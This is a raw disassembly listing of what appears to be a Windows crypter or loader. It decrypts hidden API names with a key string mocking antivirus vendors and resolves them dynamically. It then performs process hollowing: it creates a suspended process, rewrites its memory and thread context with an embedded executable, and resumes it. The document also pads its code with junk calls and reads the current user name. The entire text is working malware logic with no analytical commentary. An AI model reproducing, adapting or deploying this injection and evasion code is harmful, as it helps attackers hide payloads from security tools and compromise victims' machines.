		mov	eax, [ebp+var_10]
		call	sub_4037FC
		push	eax
		push	ebx
		call	sub_403CCC	; GetProcAddress
		mov	[esi], eax
		lea	ecx, [ebp+var_14]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_4044A4
		call	sub_403E78
		mov	eax, [ebp+var_14]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_407694, eax
		lea	ecx, [ebp+var_18]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_4044C0
		call	sub_403E78
		mov	eax, [ebp+var_18]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_407674, eax
		lea	ecx, [ebp+var_1C]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_4044D8
		call	sub_403E78
		mov	eax, [ebp+var_1C]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_407678, eax
		lea	ecx, [ebp+var_20]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset loc_4044F4
		call	sub_403E78
		mov	eax, [ebp+var_20]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_407680, eax
		lea	ecx, [ebp+var_24]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404510
		call	sub_403E78
		mov	eax, [ebp+var_24]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_407684, eax
		lea	ecx, [ebp+var_28]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_40452C
		call	sub_403E78
		mov	eax, [ebp+var_28]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_407688, eax
		lea	ecx, [ebp+var_2C]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404544
		call	sub_403E78
		mov	eax, [ebp+var_2C]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_40769C, eax
		lea	ecx, [ebp+var_30]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404558
		call	sub_403E78
		mov	eax, [ebp+var_30]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_40768C, eax
		lea	ecx, [ebp+var_34]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404574
		call	sub_403E78
		mov	eax, [ebp+var_34]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_40767C, eax
		lea	ecx, [ebp+var_38]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_40458C
		call	sub_403E78
		mov	eax, [ebp+var_38]
		call	sub_4037FC
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	dword ptr [esi]
		mov	ds:dword_407698, eax
		lea	ecx, [ebp+var_3C]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_4045AC
		call	sub_403E78
		mov	eax, [ebp+var_3C]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4076A0, eax
		mov	eax, offset dword_4044D8
		lea	ecx, [ebp+var_40]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		call	sub_403E78
		mov	eax, [ebp+var_40]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_407678, eax
		push	ebx
		call	ds:dword_40769C	; FreeLibrary
		mov	eax, [ebp+var_4]
		push	eax
		call	ds:dword_40769C	; FreeLibrary
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404426


loc_404411:				; CODE XREF: sub_4041C0+264j
		lea	eax, [ebp+var_40]
		mov	edx, 0Fh
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_40441F:				; DATA XREF: sub_4041C0+19o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404411
; ---------------------------------------------------------------------------


loc_404426:				; CODE XREF: sub_4041C0+25Ej
					; DATA XREF: sub_4041C0+24Co
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4041C0	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 21h
aIam1337rofl@_0	db 'IAM1337ROFL@AVsESPECIALLYSYMANTEC',0 ; DATA XREF: sub_4041C0+27o
					; sub_4041C0+49o ...
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_404460	dd 0F1543970h, 0F68FEAECh, 0C0191612h, 0		dd 0FFFFFFFFh, 9
dword_404478	dd 0F3422875h, 0A8D8A8E5h, 50h,	0FFFFFFFFh, 0Ehdword_40448C	dd 0CF52395Ch, 85DFE9FBh, 0C9071658h, 0CFD5h, 0FFFFFFFFh
					; DATA XREF: sub_4041C0+71o
		dd 10h
dword_4044A4	dd 0EB54354Dh, 94D0E7FCh, 0C9011D4Eh, 0C8ABC8C5h, 0
					; DATA XREF: sub_4041C0+94o
		dd 0FFFFFFFFh, 0Ch
dword_4044C0	dd 0EA553949h, 0ACE8E3E4h, 0C814174Eh, 0		dd 0FFFFFFFFh, 10h
dword_4044D8	dd 0CB523948h, 0A5D9F4E1h, 0C21A3158h, 0C496D9D2h, 0
					; DATA XREF: sub_4041C0+DAo
					; sub_4041C0+210o
		dd 0FFFFFFFFh, 11h
; ---------------------------------------------------------------------------


loc_4044F4:				; DATA XREF: sub_4041C0+FDo
		dec	ecx
		cmp	[edi-5], eax
		fxtract
		shl	dword ptr [edi-1EF9FEA7h], cl
		retn
; ---------------------------------------------------------------------------
		db 0D1h, 81h, 0C2h
		dd 38h,	0FFFFFFFFh, 10h
dword_404510	dd 0CB52395Ch, 0A5D9F4E1h, 0C21A3158h, 0C496D9D2h, 0
					; DATA XREF: sub_4041C0+120o
		dd 0FFFFFFFFh, 0Eh
dword_40452C	dd 0FE432E58h, 0B6ECE3FDh, 0DF101153h, 0FDD5h, 0FFFFFFFFh
					; DATA XREF: sub_4041C0+143o
		dd 0Bh
dword_404544	dd 0FA432E5Dh, 0B6DEEFC5h, 0C005Dh, 0FFFFFFFFh,	12h
					; DATA XREF: sub_4041C0+166o
dword_404558	dd 0EB4F2E4Ch, 0ABCED6ECh, 0DF06175Fh, 0DF83D9EBh, 6E33h
					; DATA XREF: sub_4041C0+189o
		dd 0FFFFFFFFh, 0Eh
dword_404574	dd 0EB54354Dh, 85D0E7FCh, 0CF1A1E50h, 0C4E3h, 0FFFFFFFFh
					; DATA XREF: sub_4041C0+1ACo
		dd 14h
dword_40458C	dd 0F1732B41h, 92CCE7E4h, 0E3021755h, 0D38BEFC0h, 0B9FF7E35h
					; DATA XREF: sub_4041C0+1CFo
		dd 0
		dd 0FFFFFFFFh, 10h
dword_4045AC	dd 0F254394Fh, 0B0DDE8E0h, 0C3072259h, 0C39DD9C5h, 0
					; DATA XREF: sub_4041C0+1F5o

; =============== S U B	R O U T	I N E =======================================



sub_4045C0	proc near		; CODE XREF: sub_404604+28p
					; sub_404604+38p ...
		push	ecx
		mov	edx, esp
		call	sub_402BD0
		pop	edx
		retn
sub_4045C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4045CC	proc near		; CODE XREF: sub_404604+20p
					; sub_404604+30p ...

var_108		= byte ptr -108h

		push	ebx
		push	esi
		add	esp, 0FFFFFEF4h
		mov	esi, edx
		mov	ebx, eax
		lea	edx, [esp+114h+var_108]
		mov	eax, ebx
		call	sub_402BC4
		lea	edx, [esp+114h+var_108]
		mov	eax, esp
		mov	cl, 0Bh
		call	sub_402B28
		mov	eax, esi
		mov	edx, esp
		call	sub_403664
		add	esp, 10Ch
		pop	esi
		pop	ebx
		retn
sub_4045CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404604	proc near		; CODE XREF: sub_40468C+8p
					; sub_4046A4+8p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40467E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		nop
		lea	edx, [ebp+var_10]
		mov	eax, ebx
		call	sub_4045CC
		mov	eax, [ebp+var_10]
		call	sub_4045C0
		lea	edx, [ebp+var_C]
		call	sub_4045CC
		mov	eax, [ebp+var_C]
		call	sub_4045C0
		lea	edx, [ebp+var_8]
		call	sub_4045CC
		mov	eax, [ebp+var_8]
		call	sub_4045C0
		lea	edx, [ebp+var_4]
		call	sub_4045CC
		mov	eax, [ebp+var_4]
		call	sub_4045C0
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404685


loc_404670:				; CODE XREF: sub_404604+7Fj
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_40467E:				; DATA XREF: sub_404604+Fo
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404670
; ---------------------------------------------------------------------------


loc_404685:				; CODE XREF: sub_404604+79j
					; DATA XREF: sub_404604+67o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404604	endp


; =============== S U B	R O U T	I N E =======================================



sub_40468C	proc near		; CODE XREF: sub_4046C0+195p
		push	ebx
		mov	ebx, eax
		mov	eax, 7Ch
		call	sub_404604
		lea	eax, [ebx+18h]
		movzx	edx, word ptr [ebx+14h]
		add	eax, edx
		pop	ebx
		retn
sub_40468C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046A4	proc near		; CODE XREF: sub_4046C0+1EAp
		push	ebx
		mov	ebx, eax
		mov	eax, 7Ch
		call	sub_404604
		shr	ebx, 1Dh
		mov	eax, ds:dword_4060A0[ebx*4]
		pop	ebx
		retn
sub_4046A4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046C0	proc near		; CODE XREF: CODE:00405408p

var_148		= dword	ptr -148h
var_A4		= dword	ptr -0A4h
var_98		= dword	ptr -98h
var_7C		= dword	ptr -7Ch
var_4C		= word ptr -4Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_21		= byte ptr -21h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEB8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		call	sub_4037EC
		mov	eax, [ebp+var_C]
		call	sub_4037EC
		xor	eax, eax
		push	ebp
		push	offset loc_404987
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_4041C0
		xor	ebx, ebx
		mov	eax, 7Ch
		call	sub_404604
		lea	eax, [ebp+var_38]
		xor	ecx, ecx
		mov	edx, 10h
		call	sub_402B44
		lea	eax, [ebp+var_7C]
		xor	ecx, ecx
		mov	edx, 44h
		call	sub_402B44
		mov	[ebp+var_7C], 44h
		xor	eax, eax
		mov	al, [ebp+arg_0]
		mov	[ebp+var_4C], ax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	0
		push	0
		push	4
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_C]
		call	sub_4037FC
		push	eax
		mov	eax, [ebp+var_8]
		call	sub_4037FC
		push	eax
		call	ds:dword_407688
		test	eax, eax
		jz	loc_40496C
		mov	[ebp+var_21], 1
		mov	eax, 7Ch
		call	sub_404604
		xor	eax, eax
		push	ebp
		push	offset loc_404965
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_148], 10002h
		lea	eax, [ebp+var_148]
		push	eax
		mov	eax, [ebp+var_34]
		push	eax
		call	ds:dword_407684
		test	eax, eax
		jz	loc_40492C
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_A4]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_407680
		test	eax, eax
		jz	loc_40492C
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_407698
		test	eax, eax
		jb	loc_40492C
		cmp	[ebp+var_4], 0
		jz	loc_40492C
		mov	eax, 7Ch
		call	sub_404604
		mov	eax, [ebp+var_4]
		mov	eax, [eax+3Ch]
		add	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		push	4
		push	3000h
		mov	eax, [ebp+var_20]
		mov	eax, [eax+50h]
		push	eax
		mov	eax, [ebp+var_20]
		mov	eax, [eax+34h]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_40767C
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	loc_40492C
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, [ebp+var_20]
		mov	eax, [eax+54h]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_40768C
		test	eax, eax
		jz	loc_40492C
		mov	eax, [ebp+var_20]
		call	sub_40468C
		mov	esi, eax
		mov	eax, 7Ch
		call	sub_404604
		mov	eax, [ebp+var_20]
		movzx	eax, word ptr [eax+6]
		dec	eax
		test	eax, eax
		jb	short loc_4048CD
		inc	eax
		mov	[ebp+var_28], eax
		xor	ebx, ebx


loc_404878:				; CODE XREF: sub_4046C0+20Bj
		lea	eax, [ebp+var_18]
		push	eax
		lea	edi, [ebx+ebx*4]
		mov	eax, [esi+edi*8+10h]
		push	eax
		mov	eax, [esi+edi*8+14h]
		add	eax, [ebp+var_4]
		push	eax
		mov	eax, [esi+edi*8+0Ch]
		add	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_40768C
		test	eax, eax
		jz	short loc_4048C7
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, [esi+edi*8+24h]
		call	sub_4046A4
		push	eax
		mov	eax, [esi+edi*8+8]
		push	eax
		mov	eax, [esi+edi*8+0Ch]
		add	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_407694


loc_4048C7:				; CODE XREF: sub_4046C0+1E0j
		inc	ebx
		dec	[ebp+var_28]
		jnz	short loc_404878


loc_4048CD:				; CODE XREF: sub_4046C0+1B0j
		mov	eax, 7Ch
		call	sub_404604
		lea	eax, [ebp+var_18]
		push	eax
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_A4]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_40768C
		test	eax, eax
		jz	short loc_40492C
		mov	eax, 7Ch
		call	sub_404604
		mov	eax, [ebp+var_20]
		mov	eax, [eax+28h]
		add	eax, [ebp+var_10]
		mov	[ebp+var_98], eax
		lea	eax, [ebp+var_148]
		push	eax
		mov	eax, [ebp+var_34]
		push	eax
		call	ds:dword_407678
		cmp	eax, 1
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_21], al


loc_40492C:				; CODE XREF: sub_4046C0+DFj
					; sub_4046C0+105j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40496C


loc_404939:				; CODE XREF: sub_4046C0+2AAj
		cmp	[ebp+var_21], 0
		jnz	short loc_40494D
		push	0
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_4076A0
		jmp	short loc_404957
; ---------------------------------------------------------------------------


loc_40494D:				; CODE XREF: sub_4046C0+27Dj
		mov	eax, [ebp+var_34]
		push	eax
		call	ds:dword_407674


loc_404957:				; CODE XREF: sub_4046C0+28Bj
		mov	eax, 7Ch
		call	sub_404604
		mov	bl, [ebp+var_21]
		retn
; ---------------------------------------------------------------------------


loc_404965:				; DATA XREF: sub_4046C0+B7o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404939
; ---------------------------------------------------------------------------


loc_40496C:				; CODE XREF: sub_4046C0+A0j
					; DATA XREF: sub_4046C0+274o
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40498E


loc_404979:				; CODE XREF: sub_4046C0+2CCj
		lea	eax, [ebp+var_C]
		mov	edx, 2
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_404987:				; DATA XREF: sub_4046C0+28o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404979
; ---------------------------------------------------------------------------


loc_40498E:				; CODE XREF: sub_4046C0+2C6j
					; DATA XREF: sub_4046C0+2B4o
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4046C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40499C	proc near		; DATA XREF: CODE:0040529Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4049C1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4076A4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4049C8


loc_4049C0:				; CODE XREF: sub_40499C+2Aj
		retn
; ---------------------------------------------------------------------------


loc_4049C1:				; DATA XREF: sub_40499C+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_4049C0
; ---------------------------------------------------------------------------


loc_4049C8:				; CODE XREF: sub_40499C:loc_4049C0j
					; DATA XREF: sub_40499C+1Fo
		pop	ebp
		retn
sub_40499C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4049CC	proc near		; DATA XREF: CODE:00405298o
		sub	ds:dword_4076A4, 1
		retn
sub_4049CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4049D4	proc near		; CODE XREF: sub_4049DC+80p
		jmp	ds:dword_40812C
sub_4049D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4049DC	proc near		; CODE XREF: CODE:004052D3p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 6


loc_4049E4:				; CODE XREF: sub_4049DC+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_4049E4
		push	ecx
		push	ebx
		push	esi
		xor	eax, eax
		push	ebp
		push	offset loc_404C1E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	ecx, [ebp+var_4]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404C60
		call	sub_403E78
		mov	eax, [ebp+var_4]
		call	sub_4037FC
		push	eax
		call	sub_403CD4	; LoadLibraryA
		mov	ebx, eax
		lea	ecx, [ebp+var_8]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404C78
		call	sub_403E78
		mov	eax, [ebp+var_8]
		call	sub_4037FC
		push	eax
		call	sub_403CD4	; LoadLibraryA
		mov	esi, eax
		lea	ecx, [ebp+var_C]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404C90
		call	sub_403E78
		mov	eax, [ebp+var_C]
		call	sub_4037FC
		push	eax
		push	ebx
		call	sub_4049D4	; GetProcAddress
		mov	ds:dword_4076A8, eax
		lea	ecx, [ebp+var_10]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404CA8
		call	sub_403E78
		mov	eax, [ebp+var_10]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076CC, eax
		lea	ecx, [ebp+var_14]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404CBC
		call	sub_403E78
		mov	eax, [ebp+var_14]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076AC, eax
		lea	ecx, [ebp+var_18]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404CD8
		call	sub_403E78
		mov	eax, [ebp+var_18]
		call	sub_4037FC
		push	eax
		push	esi
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076B0, eax
		lea	ecx, [ebp+var_1C]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404CF0
		call	sub_403E78
		mov	eax, [ebp+var_1C]
		call	sub_4037FC
		push	eax
		push	esi
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076B4, eax
		lea	ecx, [ebp+var_20]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404D0C
		call	sub_403E78
		mov	eax, [ebp+var_20]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076B8, eax
		lea	ecx, [ebp+var_24]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404D24
		call	sub_403E78
		mov	eax, [ebp+var_24]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076BC, eax
		lea	ecx, [ebp+var_28]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404D3C
		call	sub_403E78
		mov	eax, [ebp+var_28]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076C0, eax
		lea	ecx, [ebp+var_2C]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404D54
		call	sub_403E78
		mov	eax, [ebp+var_2C]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076C4, eax
		lea	ecx, [ebp+var_30]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404D6C
		call	sub_403E78
		mov	eax, [ebp+var_30]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076C8, eax
		lea	ecx, [ebp+var_34]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404D84
		call	sub_403E78
		mov	eax, [ebp+var_34]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	edx, ds:off_4060C0
		mov	[edx], eax
		push	ebx
		mov	eax, ds:off_4060C0
		mov	eax, [eax]
		call	eax
		push	esi
		mov	eax, ds:off_4060C0
		mov	eax, [eax]
		call	eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404C25


loc_404C10:				; CODE XREF: sub_4049DC+247j
		lea	eax, [ebp+var_34]
		mov	edx, 0Dh
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_404C1E:				; DATA XREF: sub_4049DC+15o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404C10
; ---------------------------------------------------------------------------


loc_404C25:				; CODE XREF: sub_4049DC+241j
					; DATA XREF: sub_4049DC+22Fo
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4049DC	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 21h
aIam1337rofl@_1	db 'IAM1337ROFL@AVsESPECIALLYSYMANTEC',0 ; DATA XREF: sub_4049DC+23o
					; sub_4049DC+45o ...
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_404C60	dd 0F1543970h, 0F68FEAECh, 0C0191612h, 0		dd 0FFFFFFFFh, 0Ch
dword_404C78	dd 0FE50387Ah, 0F68FEFF9h, 0C0191612h, 0		dd 0FFFFFFFFh, 0Eh
dword_404C90	dd 0CF52395Ch, 85DFE9FBh, 0C9071658h, 0CFD5h, 0FFFFFFFFh
					; DATA XREF: sub_4049DC+6Co
		dd 0Bh
dword_404CA8	dd 0EB4F245Eh, 0A7D3F4D9h, 60159h, 0FFFFFFFFh, 12h
					; DATA XREF: sub_4049DC+92o
dword_404CBC	dd 0D952395Ch, 85D9EAE0h, 0C5070648h, 0D59AC9C4h, 5632h
					; DATA XREF: sub_4049DC+B9o
		dd 0FFFFFFFFh, 0Ch
dword_404CD8	dd 0CA52395Ch, 8ACEE3FAh, 0ED101F5Dh, 0		dd 0FFFFFFFFh, 10h
dword_404CF0	dd 0DC52395Ch, 0B1CCEBE6h, 0E2071748h, 0F18BD1C7h, 0
					; DATA XREF: sub_4049DC+107o
		dd 0FFFFFFFFh, 0Dh
dword_404D0C	dd 0FB48355Dh, 0ABCFE3DBh, 0C9160049h, 0E7h, 0FFFFFFFFh
					; DATA XREF: sub_4049DC+12Eo
		dd 0Eh
dword_404D24	dd 0FA5C3548h, 0A1EEE0E6h, 0DE001D4Fh, 0D9C5h, 0FFFFFFFFh
					; DATA XREF: sub_4049DC+155o
		dd 0Ch
dword_404D3C	dd 0FB473357h, 0ABCFE3DBh, 0C9160049h, 0		dd 0FFFFFFFFh, 0Ch
dword_404D54	dd 0F4453357h, 0ABCFE3DBh, 0C9160049h, 0		dd 0FFFFFFFFh, 0Ch
dword_404D6C	dd 0FA432E5Dh, 0ABCFE3DBh, 0C9160049h, 0		dd 0FFFFFFFFh, 0Bh
dword_404D84	dd 0FA432E5Dh, 0B6DEEFC5h, 0C005Dh
; =============== S U B	R O U T	I N E =======================================



sub_404D90	proc near		; CODE XREF: sub_405138+20p
					; sub_405138+30p ...

var_108		= byte ptr -108h

		push	ebx
		push	esi
		add	esp, 0FFFFFEF4h
		mov	esi, edx
		mov	ebx, eax
		lea	edx, [esp+114h+var_108]
		mov	eax, ebx
		call	sub_402BC4
		lea	edx, [esp+114h+var_108]
		mov	eax, esp
		mov	cl, 0Bh
		call	sub_402B28
		mov	eax, esi
		mov	edx, esp
		call	sub_403664
		add	esp, 10Ch
		pop	esi
		pop	ebx
		retn
sub_404D90	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_404DC8	proc near		; CODE XREF: sub_405138+28p
					; sub_405138+38p ...
		push	ecx
		mov	edx, esp
		call	sub_402BD0
		pop	edx
		retn
sub_404DC8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404DD4	proc near		; CODE XREF: sub_404E94+1Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_404E42
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_8], 0FDh
		lea	eax, [ebp+var_4]
		mov	edx, 0FEh
		call	sub_403854
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_4037FC
		push	eax
		call	ds:dword_4076B0	; GetUserNameA
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		call	sub_403854
		mov	eax, ebx
		mov	edx, [ebp+var_4]
		call	sub_4035B4
		xor	eax, eax
		pop	edx
